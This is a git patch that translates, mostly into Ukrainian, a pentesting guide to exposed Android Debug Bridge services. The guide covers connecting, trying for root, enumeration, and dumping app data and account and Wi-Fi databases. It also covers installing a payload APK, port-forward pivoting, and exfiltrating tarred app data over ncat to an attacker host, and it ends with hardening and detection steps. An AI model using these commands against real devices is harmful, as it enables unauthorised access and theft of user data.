From f3d53bb013614c6d1ecb25c010175b283483e9b0 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 19 Aug 2025 00:38:48 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/5555-android-debug-bridge.m --- .../5555-android-debug-bridge.md | 131 ++++++++++++++++-- 1 file changed, 116 insertions(+), 15 deletions(-) diff --git a/src/network-services-pentesting/5555-android-debug-bridge.md b/src/network-services-pentesting/5555-android-debug-bridge.md index b41210038..42fd18bc2 100644 --- a/src/network-services-pentesting/5555-android-debug-bridge.md +++ b/src/network-services-pentesting/5555-android-debug-bridge.md @@ -6,40 +6,141 @@ З [документації](https://developer.android.com/studio/command-line/adb): -**Android Debug Bridge** (adb) - це універсальний інструмент командного рядка, який дозволяє вам спілкуватися з пристроєм. Команда adb полегшує виконання різноманітних дій з пристроєм, таких як **встановлення та налагодження додатків**, а також надає **доступ до оболонки Unix**, яку ви можете використовувати для виконання різних команд на пристрої. +Android Debug Bridge (adb) — це інструмент командного рядка для зв'язку з пристроями на базі Android та емуляторами. Типові дії включають встановлення пакетів, налагодження та отримання інтерактивної оболонки Unix на пристрої. -**Порт за замовчуванням**: 5555. +- Історичний стандартний TCP порт: 5555 (класичний режим "adb tcpip"). +- Сучасне бездротове налагодження (Android 11+) використовує TLS-парування та виявлення сервісів mDNS. Порт підключення є динамічним і виявляється через mDNS; він може бути не 5555. Парування виконується за допомогою adb pair host:port, після чого слідує adb connect. Дивіться примітки нижче для наступних наслідків. + +Приклад відбитка nmap: ``` PORT STATE SERVICE VERSION 5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909) ``` ## Підключення -Якщо ви знайдете службу ADB, що працює на порту пристрою, і зможете підключитися до неї, **ви зможете отримати оболонку всередині системи:** +Якщо ви виявите, що ADB відкритий і доступний, спробуйте швидко підключитися та провести енумерацію: ```bash -adb connect 10.10.10.10 -adb root # Try to escalate to root -adb shell +adb connect [:] # Default is 5555 for classic mode +adb devices -l # Confirm it shows as "device" (not unauthorized/offline) +adb shell # Get an interactive shell (uid usually shell) +whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port +adb root || true # Works on eng/userdebug/insecure builds, many emulators/IoT ``` -Для отримання додаткових команд ADB перегляньте наступну сторінку: +- Якщо пристрій вимагає аутентифікацію ADB (ro.adb.secure=1), вам потрібно буде бути попередньо авторизованим (USB RSA auth) або використовувати бездротову налагодження Android 11+ (що вимагає одноразового коду, який відображається на пристрої). +- Деякі образи постачальників, інженерні/користувацькі збірки, емулятори, телевізори, STB та розробницькі набори відкривають adbd без аутентифікації або з adbd, що працює як root. У таких випадках ви зазвичай потрапляєте безпосередньо в оболонку або оболонку root. + +Для загальної довідки по командам ADB дивіться: {{#ref}} ../mobile-pentesting/android-app-pentesting/adb-commands.md {{#endref}} -### Вивантаження даних програми +## Швидке післяексплуатаційне тестування -Щоб повністю завантажити дані програми, ви можете: +Якщо у вас є оболонка, перевірте привілеї та контекст SELinux: ```bash -# From a root console -chmod 777 /data/data/com.package -cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data. -adb pull "/sdcard/com.package" +id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint ``` -Ви можете використовувати цей трюк, щоб **отримати чутливу інформацію, таку як паролі chrome**. Для отримання додаткової інформації про це перевірте інформацію в наданих посиланнях [**тут**](https://github.com/carlospolop/hacktricks/issues/274). +### Перерахунок та захоплення даних + +- Список сторонніх додатків та шляхів: +```bash +pm list packages -3 +pm path +``` +- Якщо у вас є root (adb root або su працює), ви можете отримати доступ до /data безпосередньо. Якщо ні, віддайте перевагу run-as для додатків, що підлягають налагодженню: +```bash +# Без root, для додатку, що підлягає налагодженню +run-as sh -c 'cd /data/data/ && tar cf - .' | tar xf - -C ./loot/ + +# З root +cp -a /data/data/ /sdcard/ +exit +adb pull "/sdcard/" +``` +- Корисні системні артефакти (потрібен root): +- /data/system/users/0/accounts.db та пов'язані дані AccountManager +- /data/misc/wifi/ (мережеві конфігурації/ключі на старіших версіях) +- Специфічні для додатка SQLite БД та shared_prefs під /data/data/ + +Ви можете використовувати це для отримання чутливої інформації (наприклад, секретів додатка). Для приміток про розгляд даних Chrome, дивіться питання, згадане [тут](https://github.com/carlospolop/hacktricks/issues/274). + +### Виконання коду та доставка корисного навантаження + +- Встановіть та автоматично надайте дозволи на виконання: +```bash +adb install -r -g payload.apk # -g надає всі дозволи на виконання, оголошені в маніфесті +adb shell monkey -p -c android.intent.category.LAUNCHER 1 +``` +- Запускайте активності/сервіси/трансляції безпосередньо: +```bash +adb shell am start -n / +adb shell am startservice -n / +adb shell am broadcast -a +``` + +### Переадресація портів та півертинг + +Навіть без root, adb може переадресовувати локальні порти на порти пристрою і навпаки. Це корисно для доступу до сервісів, прив'язаних локально на пристрої, або для відкриття сервісів атакуючого для пристрою. + +- Переадресація host->device (доступ до локального сервісу пристрою з вашого хоста): +```bash +adb forward tcp:2222 tcp:22 # Якщо пристрій запускає SSH (наприклад, Termux/Dropbear) +adb forward tcp:8081 tcp:8080 # Відкриття локального сервера налагодження додатку +``` +- Зворотна переадресація device->host (дозволити пристрою досягти сервісу на вашому хості): +```bash +adb reverse tcp:1080 tcp:1080 # Додатки пристрою тепер можуть досягти host:1080 як 127.0.0.1:1080 +``` +- Екстракція файлів через сокети (без записів на sdcard): +```bash +# На хості: слухати +ncat -lvp 9000 > dump.tar +# На пристрої: надіслати каталог як tar (root або run-as за потреби) +adb shell "tar cf - /data/data/" | ncat 9000 +``` + +## Бездротове налагодження (Android 11+) + +Сучасний Android реалізує захищене TLS бездротове налагодження з паруванням на стороні пристрою та виявленням mDNS: +```bash +# On the device: Developer options -> Wireless debugging -> Pair device with pairing code +# On attacker host (same L2 network, mDNS allowed): +adb pair : # Enter the 6-digit code shown on device +adb mdns services # Discover _adb-tls-connect._tcp / _adb._tcp services +adb connect : +``` +Notes +- Порти динамічні; не припускайте 5555. Імена служб mDNS виглядають так: +- _adb-tls-pairing._tcp (параметр) +- _adb-tls-connect._tcp (підключення з парою) +- _adb._tcp (старий/прямий) +- Якщо mDNS фільтрується, класичне USB-підтримуване увімкнення може все ще працювати на деяких збірках: `adb tcpip 5555`, а потім `adb connect :5555` (до перезавантаження). + +Офensive implications: якщо ви можете взаємодіяти з інтерфейсом пристрою (наприклад, фізичний доступ або неправильна конфігурація мобільного MDM), щоб увімкнути бездротове налагодження та переглянути код пари, ви можете встановити довготривалий підключений ADB-канал без кабелю. Деякі OEM надають ADB через TCP в інженерних/розробницьких образах без пари — завжди перевіряйте. + +## Hardening / Detection + +Захисники повинні вважати, що будь-який досяжний adbd (TCP) є критичним ризиком. + +- Вимкніть ADB та бездротове налагодження, коли це не потрібно. Відкличте авторизації USB-налагодження в параметрах розробника. +- Переконайтеся, що мережна політика блокує вхідний TCP/5555 та виявлення ADB на основі mDNS на ненадійних сегментах. +- На пристроях під вашим контролем: +```bash +settings put global adb_enabled 0 +setprop service.adb.tcp.port -1 # вимкнути прослуховування TCP (або використовуйте: adb usb) +stop adbd; start adbd # перезапустити демон +``` +- Моніторте записи mDNS `_adb._tcp`, `_adb-tls-connect._tcp`, `_adb-tls-pairing._tcp` в корпоративних мережах та сповіщайте про несподівані прослуховувачі 5555. +- Інвентаризація для небезпечних збірок: `getprop ro.debuggable`, `ro.build.type`, та `ro.adb.secure`. ## Shodan -- `android debug bridge` +- android debug bridge +- port:5555 product:"Android Debug Bridge" +## References + +- Android Developers – Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb +- AOSP – ADB over Wi‑Fi, pairing and mDNS service names: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md {{#include ../banners/hacktricks-training.md}}